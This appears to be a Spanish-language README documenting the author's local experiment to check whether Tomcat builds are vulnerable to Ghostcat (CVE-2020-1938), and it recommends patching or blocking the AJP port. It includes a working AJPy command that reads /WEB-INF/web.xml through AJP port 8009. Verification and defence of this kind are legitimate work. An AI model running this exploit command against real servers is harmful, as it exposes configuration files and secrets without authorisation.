
Aprendizajes sobre cómo verificar si es vulnerable a Ghostcat (también conocido como CVE-2020-1938)
Se ha encontrado un nuevo exploit llamado Ghostcat CVE-2020-1938; consulte los artículos en snyk y tenable para obtener detalles y análisis del exploit en sí.
En mi caso, quería verificar qué servidores Tomcat son explotables y, de ser así, cómo se manifiesta. Así que este experimento consiste en comprobar Tomcat 7, 8 y 9.
PENDIENTE: ¿Cómo verificar si un Tomcat 7 es vulnerable?
En lugar de probar exploits en servidores en vivo, estoy utilizando compilaciones existentes de Tomcat para realizar mi experimento usando AJPy, que crea solicitudes AJP para comunicarse con conectores AJP.
git clone --recurse-submodules [email protected]:shaunmclernon/ghostcat-verification.git
cd ghostcat-verification/AJPy
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
Si devuelve el web.xml, entonces esta versión de Tomcat es vulnerable al exploit.
Si probamos la misma prueba usando la última versión de Tomcat 8.5, podemos ver que no es vulnerable a este error en particular.
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
En este caso, deberíamos obtener un error de Python, que en realidad significa que el servidor no es vulnerable;
Traceback (most recent call last):
File "tomcat.py", line 377, in <module>
hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
...
...
struct.error: unpack requires a buffer of 5 bytes
PENDIENTE: ¿Cómo verificar si un Tomcat 9 es vulnerable?
PENDIENTE: ¿Cómo verificar si un servicio Springboot es vulnerable?
Obviamente, si es vulnerable (independientemente de la versión), debería considerar actualizar a las versiones parcheadas. Otra opción es bloquear el acceso al puerto AJP.
Inicie la misma versión de Tomcat pero no exponga el puerto AJP 8009.
docker run --name tomcat --rm -d -p 8080:8080 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
En este caso, podemos ver que fallará al intentar explotar el servidor.
No soy un profesional de seguridad y este repositorio se creó con fines de aprendizaje, no está destinado a ser utilizado con fines maliciosos.